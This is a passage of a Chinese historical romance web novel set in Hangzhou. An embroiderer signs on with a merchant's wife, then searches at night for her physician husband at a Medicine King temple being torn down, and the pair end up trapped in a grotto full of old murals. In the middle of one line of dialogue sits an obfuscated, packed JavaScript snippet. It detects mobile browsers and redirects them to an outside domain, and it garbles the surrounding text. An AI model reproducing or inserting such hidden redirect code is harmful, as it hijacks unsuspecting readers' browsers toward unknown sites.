“金娘子今日推心置腹,我也坦言相告。我与官人本因利而聚,这些年来,我与他一道经商打拼,纵无情牵意惹,亦是荣损相系。实不相瞒,别看我们为朝廷办织造局表面风光,这些年上下打点,账面上实是入不敷出。官人又忙着应酬,所谓家大业大是虚,我那间小绣坊接的每一笔订单才是实——不怕你笑话,我卖出去那么多丝绸绣衣,自己逢年过节,在家穿的都是绢布旧衣裳呢。” 诗言遍身绮罗者,不是养蚕人。谁知杭州织造院的官商之妻竟也这么说,荒诞之余颇有些辛酸。金坠一时没回过神来,犹疑道: “可乔娘子都愿为那几幅花样开给我十金高价呀!怎么会……” “商账上的十金,扣除成本得失,只可以一金来计。金娘子未行过商,自不会明白其中门道的。我还是那句话:织造局的生意再大,仅是给人打下手的——不瞒金娘子,那凤凰山药王庙的绸行,当初非官人一人起头,如今更不是他一人说了算数的,我这商人之妇就更无从置喙了。” 隽娘言至此,轻叹一声,敛容望向金坠: “尊夫仁心济世,为公共病坊之事苦心经营,我也十分感佩。可大家说到底都是为朝廷办差,各有各的苦衷。非是我不愿相助,只是个中情弊甚多,并非一言二语道得清……今日此言皆出自肺腑,还望金娘子体察。” 金坠闻言,沉吟良久,轻轻道:“我明白了……多谢乔娘子告知。” “金娘子听了我这番重利轻义的话,若还愿将心血绣作卖给我,就签下这契书吧。” 隽娘复又取来那份搁在案头的契书,连同印泥一道递给金坠,微哂道: “上面的金额就不必改动了——十金在账簿上虽微不足道,拿在手上,还是颇沉的呢。” 金坠踌躇片刻,接过印泥,在那份曾经朝思夜盼的巨额契书上签了押。隽娘接过契书,忽又问道: “冒昧一问,金娘子为何会来找我,出售这些精心打磨的绣作?按理似你这般的闺秀,绣花儿只为冶情修性,绝不舍得让自己的手艺流露到商市上待价而沽。” “我……” 金坠一时语塞——她岂能直言自己是为了攒钱和离?隽娘见她面露难色,宽慰道: “我虽是个粗俗商妇,毕竟也是过来人。金娘子不必羞赧。身为女子的代价本就是昂贵的,即使嫁了人,多为自己攒些身家终归没错。” 金坠闻言十分感动,又听隽娘问道: “还有,能请告诉我你今日为何突然改了主意,不要这笔钱了么?可是你家沈学士请你这么做?” “此事他并不知情。是我自己愿意的。” 金坠摇了摇头,柔声道:“昨日,我在西泠同心楼中遇见一个病重的女子,令我想起了我的母亲。家母也曾是像她那样的出身,一生为疾苦所累,受尽冷眼。当年,坊间若有一家病坊愿收容她,让她好好养病,母亲或许不会去得那么早……这世上有许多一无所有的苦命之人,他们值得有个好归处。” 隽娘闻言叹了口气,微笑道:“记得金娘子说过,你的刺绣是令堂从小教你的,不想竟有这番凄苦……令堂在天有灵,若见到你今日绣的这些百草图,定当十分欣慰。” 金坠点了点头,眼角湿润。隽娘亦不胜感慨,喃喃道: “实不相瞒,昨日你带着绣作来店里找我议价,我好像见到了自己年轻时的模样呢——那时我也不过二十来岁,刚嫁人不久,却不愿待在家里,总要自己去店 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隽娘收起她签好的契书,起身辞行:“那就权且委屈金娘子先为我打下手了。今日便罢了,明起烦请到鄙店来上工吧。” “承蒙乔娘子雇托,我一定准时上工!” 金坠庄重承诺,送准东家出门。走了半路,隽娘忽道: “对了,还有一事劳烦——我家有个小女,生母难产没了,是我带大的,如今已七岁了。这丫头自小对医学十分感兴趣,之前在外面偷偷拜了个医女为师。偏她祖母对三姑六婆有些成见,怕教坏了她,不让她外出学医。我恐荒废了她的天赋,便想让她在家中自学。听闻尊夫是太医局的讲授,想必藏书颇丰。能否请金娘子代我向他借几部适合入门的医书药典,好为小女传道受业?” “他房里确有座书山呢。等外子回来我便转告他,挑好了书,明日就为乔娘子送来!”金坠一口答应下来,又蹙眉问道,“什么三姑六婆呀?行医又不是见不得人的事,也属其中么?” “这是坊间说法。三姑是指尼姑、道姑、卦姑;六婆,则是牙婆、媒婆、师婆、虔婆、稳婆、药婆,也就是医女了。市井中素来有此偏见,认为这些人会拐骗良家妇女,一向敬而远之……” “什么行业不是行业,若按这样分,男子中也得分个三伯六公呢!没了这些医女药婆,女子生了病,找谁去看?” “我也是这样想,才让小女学医的。想想可笑,世人尊崇男医为神仙,却视女医为瘟鬼,这是什么道理?” “他们若觉得病死事小失节事大,有本事快死了也别找女医来治,我倒还佩服呢!” “其实何止从医,行行皆是如此。身为女子,只得以勤补拙,闯出一番事业自证了。”隽娘道,“但愿小女饱览医书经方,学以致用,日后行医救人,也不枉沈学士借阅之恩了。” 金坠笑道:“寒舍别的没有,医书与草药却一抓一把,外子在这方面倒也乐善好施。乔娘子潜心栽培,令爱定可自学成才的!” 隽娘颔首言谢,敛容道:“金娘子今日与我商议的那件事,我会再打探打探。我家官人那边若有什么说法,再告与你知晓。” 金坠心中一动,忙道:“那便劳烦乔娘子多加挂心……” 隽娘莞尔:“绣坊众人都直接唤我的名。金娘子既收了我的聘约,便也不必生分了。” 金坠粲然一笑:“多谢隽娘!” 37.芳菲尽 四月暮春,天气渐暖,花落渐快。 杭州今岁的春日尤为短促,四月伊始便有暑意袭来,甚至响起几声蜩鸣。桃李杏梨不堪热浪,纷纷零落。一时满城五彩花雨,如梦似幻,热闹非凡,令人全然顾不得伤春,只愿闯入其中被这场香霖淋个酣畅。文人雅士更是倾巢而出,西子湖畔自不必说,林园山寺凡有花处,必有人醉卧红雨饕餮花馔。醒时不忘吟诗作画,好将这不传世的春光留给后人歆享。 满城绿肥红瘦,武林门外的半道红市亦不可幸免。桃林粉黛换绿腰,一夕间已无处寻芳踪。整条街上不过十几户人家,户户都堆满了落红,每日一早便各自扫着门前花。幽巷深深,扫花簌簌,老远便可听闻,倒成了一道殊景。 半道春红尽,唯独罗盈袖生性烂漫,特在家门前留了一片落花。又将树上剩的数枝桃花统统折下插瓶供养,好让它们多开几日。自家供不下了,便捧去隔壁送给金坠。见她忙着刺绣,主动替她插花,还采了几根飘逸的野草作配。待插好了,嘱咐宛童抱去各屋供上,霎时将别人家装点得春光无限;自己倒如春风无痕而去,只留下满屋招展的花枝。 金坠本不喜桃花俗艳,搬来这红市数日早看腻了。如今春红将谢,瞥见花瓶中桃枝伶仃,不禁生出几分怜惜。遂任其摆在案头,绣假花绣累了,便抬头看看真花。瓶中桃花落下一朵,手里的绣花便多一朵。如斯交替,韵律十足,倒也拂去了工作的枯燥。 她这几日确是累坏了。自从接了乔隽娘的聘约,每日一早便要去绣坊上工,与其他绣师分工赶制自己设计的七件百草绣衣。因工期紧张,晚间回家也忙着绣制荷包等小物。除了吃饭睡觉,几乎日夜无休。 君迁也不比她轻松多少。平日忙着在药局督导坐诊,又要应对施济局的难事。虽有苏夔与梁恒相助,官场应酬是少不了的,不得已跑了无数酒局,见了无数杂人。一连数日,身心俱疲,施济局动工却遥遥无期。明明身处江南温柔乡,却如深陷囹圄不得安生。 这日,二人一前一后回到家,入门便见满室鲜花着锦,枝影招摇,不用问也知是罗盈袖的杰作。桃花谢了便又插起月季,留香笺美其名曰“相思常在”。所用花器亦越来越繁复,玉壶春瓶、漆雕竹筒琳琅满目,将家中布置得如花会雅集一般。 金坠哭笑不得,正要询问,宛童提着只花篮翩翩而来。说罗娘子近来插花入了迷,在外拜了个女师父研习花道。见他们夫妇最近忙得见不着影,特来替邻居装点屋室,好让他们时刻赏到鲜花。 上回大闹西泠同心楼后,盈袖便始终怏怏不乐。金坠不知如何安慰她,目下见她终于找到了正事,十分欣慰,便任由她充当散花天女了。君迁也没多说什么,静坐在厅前看书。金坠在他对面坐下,趁夕食尚未上桌,掏出绣了一半的荷包飞针走线。绣了半晌,忽听君迁道: “先吃饭吧。” 金坠正绣到关键的几针,一时忘我,头也不抬道:“你先吃吧。” 君迁望着她:“你近来似乎很忙。” 金坠一怔,反问道:“你不也很忙么?” 君迁闻言,合上了手边的书,举箸道:“我不看了,你也别忙了。” 金坠收了绣活,捧盏盯着晶莹洁白的米粒,慢慢道:“你不问我在绣什么?” 君迁道:“我问了,你也未必会告诉我吧?” “好没情趣!”金坠白他一眼,“说不定我是在给你绣花儿,想送你个惊喜呢?” 君迁淡淡道:“恐我无福消受。” “只怕我送了你也不肯收呢。”金坠幽声道,“你定然觉得我这样埋头做针线活,很是无趣吧?” 君迁皱了皱眉:“我没有这样觉得。” 金坠轻叹一声,喃喃自语:“我的绣活是母亲教我的。从记事起,母亲每日都一动不动地端坐在案前绣花,脸上的神情就如礼佛一般,仿佛那是世上最庄严之事。从小我就觉得,世间至高的真与美,就藏于母亲手中一针一线造出的那个锦绣世界中。” 她的面上浮出极淡的笑,垂眸盯着手中针线。 “可世人只将女红作为女子教养的象征,视之为最凡庸的美德。仿佛一个女子生来最大的使命,便是安安分分地坐在闺阁中刺绣。仿佛她精心绣出的一花一草,仅是用来彰显家风的布景……” 金坠言至此,无声冷笑了一下,用汤匙搅着盏中清澈的莼菜汤。君迁望着她,柔声道: “在我看来,人世间的事业无分轻重。无论做什么,倘若潜心己职,满怀热忱,便是至福之人,所行之事亦是最崇高的。” “这话倒中听。”金坠一哂,举起手上绣了一半的荷包递到他面前,“那你觉得,我绣的这花儿如何?” 君迁瞧见荷包上那朵惟妙惟肖的青瓣黄蕊丝绣花,愕然道:“雪原绿绒蒿?” “生于雪山峭壁,耐极寒,夏季开花。味甘涩微寒,有小毒。入药可止痛安神,镇咳平喘。”金坠莞尔一笑,“多谢你上回借我的那部《本草图经》,我学到了许多。我拿你的藏书做绣样,你不会介意吧?” 君迁方知她借书用意,抿唇道:“你还绣了什么?” “还有金苁蓉、白鹤草、龙胆花、风茄……”金坠如数家珍,“我曾以为本草就是药肆里晒干的那些药材,又苦又不起眼。原来世间竟有那么多奇异美丽的草药,多数还会开花呢!” 君迁有些讶然,正要说话,金坠扬脸直视着他,正色道: “其实,我一直想和你说,我……我收回上次的话。上回在船上,我对你说了些很过分的话,那都是我一时气愤胡言,你别计较……” 君迁似完全记不起这事,淡淡道:“你说了什么?” 金坠一怔,垂眸嗫嚅:“……我也忘了。” 君迁一笑:“饭菜凉了,快吃吧。” 金坠伸箸去夹了好几簇菜到他面前:“你这大忙人多吃些吧!听药局的人说,从没见你好好去食堂吃过午食,都以为你精通辟谷之术,餐风饮露就能活呢!真当自己是医仙下凡?” 君迁受宠若惊,重又将菜夹回金坠盏中,似笑非笑道:“多谢,我自己夹吧——你一给我递吃的我就害怕。” “我筷子上沾了毒不成?”金坠佯作嗔怪,连碗带菜推到他面前,“你吃不吃?” 君迁见她虎视眈眈,恭敬不如从命,乖乖捧起面前堆得小山高的餐盏。金坠单手支颐看着他吃饭,微笑道: “这就对了!不吃饱,怎么有力气去施药济病?” 须臾饭后茶余。二人各回各房,照例一夜无话。翌日一早,仍是天光宣明,和风丽日。君迁早早出了门,金坠亦前去绣坊上工。眼看遍街游人忙,只得一声叹息。良辰美景再是撩人,却总与他们无关。 金坠到了绣坊,见乔隽娘今日不在店中。伙计说她去别处谈生意了,不知何时回来。几位绣师们陆续到了,人手一件绣衣,都在织室中伏案赶制。金坠依次向她们道了日安,在自己的绣案前坐下,开始一日的苦劳。 众绣师跟随乔隽娘多年,皆为丝绣高手,本对她这高价聘来的小娘子不甚在意。经过几日共事,见金坠技艺出色,人又谦逊好处,都对她刮目相看。加之今次的百草绣图是她亲自设计,不得不服,遂虚心求教,与她探讨针法。金坠十分耐心,有问必答,手头绣活更是一丝不苟。 就这样绣了一上午,不觉已是饭点。众人搁下工事,外出觅食。金坠手上一朵花刚绣到一半,不愿中断,便独自留下。看店的伙计见状,托她到柜前代他,自己出去吃饭了。金坠移步柜前,正要继续绣花,忽进来一个人,粗着嗓子问道: “你家掌柜在么?” 来人是个样貌猥琐的中年男子,看穿戴像个并不阔绰的买卖人。金坠淡淡道:“乔 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那人走后,金坠收起礼盒,心中波澜四起。思前想后,写了张字笺留在柜案上,托伙计转交贺礼;又称自己忽感不适,午后告假半日。匆匆出门叫了辆驴车,径自往杭州药局而去。 天气好,出来看病的人也多。药局前照旧人头攒动,大排长龙。金坠费劲挤了进去,极目远眺,只见到堂前匾额上“杏林橘井”四个大字并其下供奉的历代神医像,此外乌泱泱一片,难辨人面。她只待了一会儿便感头晕目眩,走出几步,到外头药柜前拦住一个小学徒,问道: “请问沈学士可在?” 那少年道:“沈学士今日出城巡诊去了,向晚方归呢。” 金坠暗自着急,又问道:“那梁医正呢?” “梁医正也一道去了。娘子是来看病的?看病得先取个号牌呢……” “不是……打扰了。” 金坠扑了空,只得挤出药局,回到街上开阔处,终是松了口气。踯躅片刻,又拦了辆车,一路去往凤凰山万松岭。良久到了山脚,向人打探了路,匆匆往坡上去。 山坡不高,恰如其名,遍植苍松。风过松枝,如碧波翻滚,清幽舒爽。金坠在松林中走了会儿,远见转角处一抹紫映入眼帘,是株紫藤花树。树下聚了些人,正对着什么指指点点,窃窃私语。 金坠疾步上前,拐过花树,便见一座座脚架横七竖八地高耸着。架后是一座规模不小的旧道观,主体尚在,外部已是断壁残垣。一众工匠正于此凿壁添砖,工事如火如荼,噪声不绝于耳。 金坠向一位看热闹的老妪打探道:“请问此处是何时动工的?” 老妪道:“天没亮便开始了。作孽哟,上百年的药王道场,就这么被糟蹋了!” 话音未落,边上众人怨声载道:“就是!太岁头上动土,也不怕遭报应!” 金坠蹙额道:“诸位可知他们是何来历?” “听说是个来头不小的官商,夺了这方圆几里的地去建销金窟,连这座药王庙都不放过!凤凰山脚下本有许多药肆,历来都靠这主庙庇护。那些药肆本想在今年翻修这庙,钱都筹好了,谁料被那奸商勾结贪官侵占了去,还吞了边上好些铺子。大家不服,联名去告官,消停了一阵,谁料官司输了,今日又大剌剌地动工了!作孽哟,寻谁说理去!” “小点声,人家的靠山大过天,当心招来麻烦……” 百姓们叹息一阵,对天念了几声药王保佑,便作鸟兽散去,只剩下金坠一人。 暖风轻拂紫藤花树,裹来一阵浓香。金坠素来不喜这脂粉似的花香,此刻闻见更是心烦意乱,几欲作呕。那边动土敲打之音又不断袭来,声声喧天,令人耳痛。她耐着性子待了片刻,终是无计可施,决定等君迁回来再议。无奈回望了一眼正受摧残的药王庙,复又穿过重重松林,原路而返。 38.石火梦 凤凰山往返数十里路,归来已是向晚。金坠回到家,匆匆入门,见君迁还没回来,不禁心绪低沉。宛童端来夕食,她只潦草吃了几口,便兀自在厅中等候。 不久暮色四合,家中却仍只有她一人。金坠坐立难安,起身到门边张望,忽闻足音,忙小跑出去唤道: “你可算来了!” 回应她的却是个娇滴滴的声儿:“我来迟了,坠姊姊莫怪!” 只见罗盈袖迤逦而来,身着上回在乔隽娘处定做的鹅黄香云纱罗衣,一手捧了簇野花,一手提着篮樱桃,在初夏夜里分外惹眼。 “我新拜的那位花道师父住在山上,今日她家院子里的樱桃熟了,请我去摘,刚回来呢!” 盈袖熟门熟路地进了厅中,将刚采的野花插入瓶中,又将那篮鲜红的樱桃搁在案上,信手拈出一粒递给金坠。 “这一筐是送给坠姊姊的!你尝尝,可鲜甜了!” 金坠连忙道谢,让宛童为她看茶。盈袖落了座,一面嚼着樱桃,一面滔滔不绝地讲着采樱桃的见闻。金坠插不进话,有一搭没一搭地附和着她。盈袖见她心不在焉,低低道: “坠姊姊,你……是不是有点儿讨厌我?” 金坠一怔,忙道:“哪儿有的事?你不是送花就是送果子来,我喜欢还来不及呢。” “你不嫌我烦就成!看你们都那么忙,只有我成日像个没事人似的闲晃,自己都嫌弃自己……” “你不是在学花道么?” “那不过是磨时辰罢了。费力气插好的花儿,没几天便枯了,也怪没意思的。不像你绣的这些,随时随地都可拿出来看,好晓得自己究竟做了些什么……师父替我卜了一卦,说我前世是悬崖上的一棵树,被风吹得颠来倒去,难怪总是心猿意马,静不下来!” “你师父还会算卦?” “那当然,我师父可是位远近闻名的女冠子,测命可准了!人家都说她清高得很,不知为何竟收了我这不争气的徒儿,大抵真是天仙真人下凡,特来点化我的吧……” 盈袖叹了口气,将吃剩的樱桃核在盘中一字排开,幽声道: “这些时日,我也不知怎么,明明排满了事情,心里总是空落落的,还老容易出神。方才摘完樱桃,我拜别师父独自下山,听着满山的鸟声和虫声,望着太阳从眼前慢慢沉到山后头,突然觉得有点儿害怕,竟不知道自己究竟在哪儿。后来远远瞧见一个眼熟的人,正是你家沈学士,这才一下子回过神来……” “你看见君迁了?”金坠蓦地打断她,“他在哪儿?” “就在凤凰山啊!我下山的时候,正瞧见他一个人往山上去呢,不知要去干嘛。我想着上回得罪了他,就没敢和他搭话……他没同你说过么?” “他一个人么?” “放心,就他一人,形单影只,没人作伴。不过晚上黑灯瞎火,他到山上去做什么就不好说了,保不准又是和花妖狐媚幽会去呢!” 金坠心中焦急,问道:“梁医正回来了么?” “我管他?爱死哪儿死哪儿去,收尸了再来唤我!” 盈袖冷笑一声,将吐出的樱桃核丢进果盘里。金坠听了她的话,心中七上八下,想象着君迁此刻独自夜上凤凰山的场景,又想到日间在那药王庙前所见,不禁心生不详。盈袖见她面色不好,不多叨扰,起身告辞了。 戌时将末,夜色渐浓,家中仍是冷冷清清。金坠再也坐不住了,起身跑出门。宛童唤住她: “这么迟了,五娘要去哪里?我陪你去吧!” 金坠道:“我出去散散心。就在附近,很快便回来。” 语毕疾步出门,趁着尚未禁夜,跑出坊巷,策马往凤凰山而去,摸黑上了万松岭,穿过重重松柏,悄声来到那座药王庙前。 暮色深沉,万径人灭。日间工事如火的工地此刻一片死寂,月明星稀,孤山破庙,只可闻虫鸣絮絮。门口那株紫藤花树独自散着浓香,不时落下缕缕花穗。地上似铺了一层柔软的紫玉,在月下泛出幽寒清光。金坠深呼吸一口,穿过重重木架,轻步入山门。 这药王庙历时已久,如今又被圈作工地,遭了一通敲凿,外间已是壁断垣残,摇摇欲坠,不时掉下几块砖石。庙身尚未被损坏,亦已苍苔横生,尘网斑驳。夜行其中,犹入幽冥,直令人心中发毛。 金坠借着月光,穿过中庭,来到庙中。正殿前供着一尊偌大的道教药王真人造像,原本宝相庄严的神首已遭刀割斧锯,只剩下半截身子,十分可怖。两侧护法雕塑更是形神俱灭,留下两抔灰尘,在月下发出呛人的霉味。 金坠往殿后绕去。四下阒静,忽听到墙角隐约有窸窣响动。她心下一凛,循声而去。没走几步,眼前霎时一股白烟氤氲,从中蹿出一团青绿幽光,阴惨惨地在黑暗中晃动——没等反应过来,那鬼火中竟蓦地跳出个白影,披头散发,青面獠牙,直直向她扑来! 金坠怔了刹那,惊叫一声,转身便跑。那鬼猛然追上,一把死拽住她的手。她魂飞魄散,极力挣脱,他却越抓越紧,直将她逼到墙隅暗处,俄而厉声道: “金坠!” 金坠一惊,抬起头来。借着月色,看到那人摘下鬼面,露出一张清隽而略显严肃的熟面孔,柔声道: “别怕,是我。” 金坠揉揉眼,后退几步,警惕道:“你是谁?” “……我是沈君迁。” “沈君迁又是谁?” 君迁一怔,幽幽反问:“娘子莫非神魂出窍,连亲夫都不认了?” “我可没出窍,你有没有就不好说了!这荒山破庙月黑风高,你这副模样,我怕你被什么不好的东西夺舍了,自需弄清楚才安心——你站着别动!” 金坠慢慢挪上前,伸手往他脸上摸了两把。见无异样,遂松了口气。君迁任她摸完,无奈道:“安心了么?” 金坠郑重地点点头。君迁道:“你到这里来做什么?” “我还想问你呢!盈袖说她傍晚在这附近看见你了,我……我恐你被山上的花妖狐媚拐了去,特来寻你啊。” 金坠说着白他一眼,嗔道:“看来是我多心了,原来你自己就是个鬼!——你还笑,方才险些吓死我了!” 君迁敛了笑意,问道:“你怎知我在此处?” “我猜的——这方圆数十里令你魂牵梦萦的,也只有这座药王庙了。”金坠借着月光端量他,“你为何这副打扮啊?” 君迁轻叹一声:“此处的绸行今日复工了。若不及时阻止,施济局定然建不成了。我只好出此下策,趁夜来此布设些关隘,看能否以触犯风水之由暂且逼退他们。” 金坠愣了愣,噗嗤一笑道:“我就晓得。白天我听说他们动工了,本想来找你,听说你出城巡诊去了,便一个人先跑来这里看过了,动静大着呢。街坊们都说,他们敢在药王太岁头上动土,是要遭灾的——这不果然惊动了神脉,将你这尊正神招来了!” 君迁略有些赧然:“这段时日,我为此事已极尽所能,皆无从进展。若非不得已,我也不愿如此……” “这倒是个不错的主意。做生意讲究风水,他们再是天不怕地不怕,亲眼见了药王降坛,恐也不得不服——只是你也不必亲自来装神弄鬼吧!” “这主意不是我出的。周边药肆的店家们原有意重修药王庙,皆不愿此地被侵占,因此集思广益提出此计。我已与他们商定,自今夜起,轮番来此值守,以备天明开工时吓退那些来建绸行的人。” “那今夜是你打头阵?” “我先来探路设隘。若被发现,亦不至牵连他人。” “你倒是身先士卒。不料机关算尽,没吓退贼人,反先害了自家娘子!” 金坠幽怨地叹了口气。君迁低低道:“抱歉,吓着你了……” “怪我自己有眼不识,闯了你的药王道场!” 金坠撇撇嘴,看到他身后靠墙的地上摆着只小玻璃瓶。瓶中有几枚晶莹的石块,幽幽在暗中闪着青光——她适才见到的鬼火正由此而来。 “这是……” “燐石。受潮便会散发出光热。” 君迁俯身拾起那只瓶子,取出一块棉布小心包裹上。金坠笑道: “就是我们初见那天,大相国寺前那个苗疆巫医的把戏吧?那会儿你还义正言辞地戳穿他的骗术呢,谁知风水轮流转,自己也开始装神弄鬼了——药王真人若晓得你自损颜面前来护法,必然感动万分呢!” 她说着,伸手从他腰带上扯下他方才戴过的那只鬼面具:“你这面具还有没有?给我一个。” “你做什么?” “你一人扮鬼阴气不足,还需有个女鬼作陪。刚巧我也穿着白衣裳!” 金坠一哂,拔下发钗,一头长发如瀑而下。她戴上那鬼面,直面向他恶声恶气道: “吾乃此凤凰山鬼也!何人如此狂妄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148999|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,擅闯药王法场?” 君迁见她扮得有模有样,不禁抿唇发噱。正说话间,殿外静夜中忽传来橐橐步声,继而人声嘈杂,由远及近,须臾已进了中庭。 金坠一凛,还没反应过来,已被君迁拉到墙角。此处有一道半人高的洞开暗门,隐在大殿一角的立柱后,不留神很难发现。二人俯身钻入,四下环顾,却是个狭长石窟。这座药王庙的后侧紧依山壁而建,这石窟正好与正殿连通,应当是凿出来堆放杂物的。 窟室逼仄,二人不得不蜷缩着彼此紧贴。金坠稍稍往入口处挪了挪,竖起耳来。只听外间已聚了些人,在殿中来来回回,似在搬梯搭架。一男子疾声道: “快,上头有令,天明前必得将这块儿统统凿了,半点不留!” 金坠一怔,向君迁耳语:“他们这是连夜赶工来了?” 君迁也不明所以,蹙了蹙眉。脚步声近,二人急忙后退至窟壁,复又紧贴在一块儿。 庙中昏暗,那伙人也不曾点灯,就这么借着幽微月光上梁敲凿起来。斧声铮鸣,不时有木块碎屑从梁上落下。其声之大,似要将整座庙宇掘倒。蓦地一声巨响,只见一大截木枋竟被凿下,山崩一般,横在他们藏身的石窟前,刚好堵住了半扇窟门,梁枋上精美的木雕赫然可见。 金坠正要探出头去将那挡门的木枋子推开,又是一截碎木梁当头落下,所幸君迁抬臂牢牢护住了她,一把将她拥推回窟内。 金坠回过神来,已在他怀中躲了半晌。窟室黑暗狭隘,霉尘味遍布,霎时被他身上散着的清苦药香驱散。金坠微微垂眸,发觉自己亦紧紧拥着他,忙触火似的从他怀中跳出来。 君迁也有些仓皇,连忙放开她。环顾四周,才发觉四下一片黑暗,那道狭窄的窟门已被木梁彻底堵死了。方寸密室,再远也只隔了咫尺。二人虽面对着面,却无法看清对方的脸,只得触到彼此温热的鼻息。 君迁如梦初醒,上前推门,金坠忙去帮他。二人铆足全力,那挡门的木梁却纹丝不动。金坠心急,敲着窟壁高喊道: “等一等,里面还有人!别凿了!还有人在这里呢——我们是活人,不是鬼呀!放我们出去!” 她砸门高呼数回,回应她的却只有黑暗,外间一声盖过一声的刀劈斧砸之音亦已隐没其中。君迁无奈道: “外面太吵,他们听不见的。” “看来你的机关还没大显神威就要被活埋了!这下再没什么能妨碍他们在太岁头上动土了。” 金坠叹了口气,倚着石壁,茫然四顾: “万万没想到,你我还未兑现和离之约,竟要同葬于此……日后那绸行开张,绫罗绸缎底下埋着一双白骨,想来倒颇有些惊悚呢。” 君迁沉着道:“附近的药商们与我有约,若见我失踪,会来寻的。我们至多在此困上几日,不会死的。” “至多几日?你倒是处变不惊!”金坠懊丧地环顾周遭,“我才不想困在这鬼地方呢!” “你是不愿困在这里,还是不愿同我一起被困?”君迁在暗中深望向她,“你若不愿,为何连夜来此寻我?” 金坠一怔,低低道:“我……我后悔了!就不该好心来找你,让你一个人在这里装神弄鬼,自讨苦吃!” 君迁望着她:“你适才不也想与我一同做鬼么?” 金坠白他一眼:“还是先想想怎么出去吧,否则我们就真成鬼了!对了,你不是带了燐石么?要不放把火将这堆挡门的木梁子烧了吧!” 君迁啼笑皆非:“那恐怕别人真要来为我们收尸了。” “有这团鬼火陪葬,倒也合宜!” 金坠吐吐舌头,从他手里夺过那只装着燐石的小玻璃瓶,举着发光的瓶子充当照明,四下环顾。幽闭的石窟霎时被瓶中燃烧的青绿燐火照遍,似有千百只流萤飞舞。二人的面容从暗处浮现,掩映于彼此瞳眸中。虽同处一室近在咫尺,终于能看清对方的脸,顿时令人安心不少。 一时无言,金坠盯着瓶中那团荧光,幽幽道:“你上回说,这东西是由人死后的骨血化成的?” “书上是这么说的。” “太可怕了。我宁愿相信它是央阿沙神女的眼泪……” 金坠轻叹一声,忽见君迁定睛朝自己望来,似在端详什么。方要询问,他却蓦地近身紧挨着她。金坠一惊,嗫嚅着推开他:“……你做什么?” 君迁指向她身后的石墙:“你看。” 39.画中游 经君迁提醒,金坠回过头去,捧着那只燃着燐火的瓶子上前一照,须臾眼前一亮,只见身后石壁上赫然出现许多彩绘—— 天人神祇,仙鹤飞马,彩云霓霞,灵坛宝幢,皆在青碧的燐光下跃入眼帘。另有各式人物图绘,平民百姓耕田采药、达官显贵开道鸣锣、道士真人斋醮祈禳,可见是往昔庙祀之时的种种场景。 这些被遗忘的壁画深藏于旧庙后的石窟之中,经岁月磨蚀,业已斑驳褪色。所绘之景,仍是呼之欲出,热闹非凡,直教人如临其境。 金坠惊奇道:“这是……” “这里原是一处功德窟吧。”君迁凝神观画,“这些壁画大抵是此庙建成之初留下的。” “那有近百年了吧……” 四方洞天,岁月无言,唯这古老的石壁在幽幽燐光中沉默地诉说。二人凝望着石壁上一幅幅栩栩如生的彩绘,想到昔日万般荣华尽付断壁残垣,不禁心生怅惘。 他们被困于这药王庙的石窟中,进退两难,百无聊赖,遂逐一端详起石壁上的这些画作。金坠手捧燐火瓶充当照明,边走边看,忽在石窟尽头一幅神像前停下,照着画旁小字念道: “钱塘信女殷氏敬绘药王佛像一尊,伏愿神明护佑,使夫沉疴消散,早日康愈。若有不遂,惟愿至亲承此善因,不溺幽冥,百岁之后,归于其室……” 她念至此处,指着墙上那幅格格不入的佛像以及一旁的女供养人小像,奇怪道: “这倒奇了,这里明明是道教药王神庙,她绘一尊药师佛像在这里,还连名号都写错了,岂非大不敬?” 君迁闻言走上前来,望着那画像道: “民间释道不分,常将二者混为一谈。这位供养人或许不识字,此画应是她出钱聘人绘的。道教神像繁复,那画师偷懒,故绘成了药师佛像。” “心诚则灵嘛,若可除疾消灾,拜哪尊神都好。”金坠一哂,“不知她夫君的病最终好了没有……” 她不禁再度望向那壁画,目光落在“百岁之后,归于其室”八字上。沉吟片刻,俯身拾起一枚小石子,在一旁找了处空白的石壁,抬手刻着什么。 君迁见状问道:“你在做什么?” “来都来了,岂不也得稍事供养?”金坠神秘一笑,边刻边念,“信女金氏来此参拜,不幸遭困,伏祈药王护佑,逃出生天……” 她用石子在墙上刻下这几句话,又在一旁用寥寥几笔绘上一个小小的女子,权当做自己的供养人像。刚放下画笔,忽听君迁幽声道: “不将我也画上?” 金坠嗔道:“你是正经的药王弟子,你自己画吧,我恐玷污了你的形象!” 说着将那枚石子递给他。君迁当真接了过去,款步上前,模仿她那孩童似的笔触,在她的画像旁绘上了自己的小像,又在她的名旁认真补上“弟子沈君迁”几字。金坠见状苦笑道: “遗愿也发在一起了,真像要殉葬一般。” 君迁搁下画笔,看着墙上那一双掩映于燐光下的潦草画像,神情庄严而安然,似在仰望不为人知的神迹。金坠侧目望着他,忽道: “假如,我是说假如……我们再也出不去了,你有什么话想说么?” 君迁认真地说道:“我希望你原谅我。” “原谅你什么?” “害你失了自由。” 他几乎毫不犹疑,淡淡说出这句话来。金坠心下诧异,忙道:“今夜是我自己寻来的,不关你的事儿。” “不仅是今夜。” 金坠一怔,一时语塞。她一向将这桩婚姻视作樊笼,如今他亦终于放下矜傲向她道了歉,她为何不觉快意,反隐隐感到些心虚呢? 君迁沉默片刻,转身望向她,幽暗中只看到他双目两点清亮的光:“你呢?有什么话想说么?” “我不是都写在墙上了……” “那是对神说的,不是对我。” 金坠踯躅片刻,轻声道:“我……我以前常作弄你,是我不好。请你也原谅我吧。” 君迁一哂:“那你也将这些写下来吧。神佛看到,自会宽宥的。” 金坠未料到他会这样认真,又想不到理由拒绝。略一思忖,复又举起石子,转身往壁上刻了两行字: “明镜本清净,何处惹尘埃。” 书毕,肃容合掌,面壁忏悔: “弟子金氏稽首上白诸神众圣,万不该迁怒过瞋,娇纵蛮作,厉色严声,恶戏于人。今誓心克己,追自悔责,收逊前愆,校身诸失……” 她一本正经地念诵毕,将石子递给他道: “我写好了。你还有什么想说的,索性也一道写上吧——反正这旧庙早晚都要被拆空,除了天地神明,没人会看到这些。” 